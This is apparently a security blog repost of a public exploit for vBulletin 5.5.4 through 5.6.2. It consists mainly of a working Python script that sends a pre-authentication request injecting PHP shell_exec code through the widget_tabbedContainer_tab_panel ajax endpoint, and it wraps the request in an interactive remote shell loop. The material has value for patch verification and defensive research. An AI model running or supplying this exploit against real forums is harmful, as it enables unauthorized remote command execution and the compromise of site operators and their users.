Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86395612

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Remote Code Execution
# Date: 2020-08-09
# Exploit Author: @zenofex
# Vendor Homepage: https://www.vbulletin.com/
# Software Link: None
# Version: 5.4.5 through 5.6.2
# Tested on: vBulletin 5.6.2 on Ubuntu 19.04
# CVE : None

# vBulletin 5.5.4 through 5.6.2 are vulnerable to a remote code
# execution vulnerability caused by incomplete patching of the previous
# "CVE-2019-16759" RCE. This logic bug allows for a single pre-auth
# request to execute PHP code on a target vBulletin forum.

#More info can be found at:
#https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/


#!/usr/bin/env python3
# vBulletin 5.x pre-auth widget_tabbedContainer_tab_panel RCE exploit by @zenofex

import argparse
import requests
import sys

def run_exploit(vb_loc, shell_cmd):
    post_data = {'subWidgets[0][template]' : 'widget_php', 'subWidgets[0][config][code]' : "echo shell_exec('%s'); exit;" % shell_cmd}
    r = requests.post('%s/ajax/render/widget_tabbedcontainer_tab_panel' % vb_loc, post_data)
    return r.text

ap = argparse.ArgumentParser(description='vBulletin 5.x Ajax Widget Template RCE')
ap.add_argument('-l', '--location', required=True, help='Web address to root of vB5 install.')
ARGS = ap.parse_args()

while True:
    try:
        cmd = input("vBulletin5$ ")
        print(run_exploit(ARGS.location, cmd))
    except KeyboardInterrupt:
        sys.exit("\nClosing shell...")
    except Exception as e:
        sys.exit(str(e))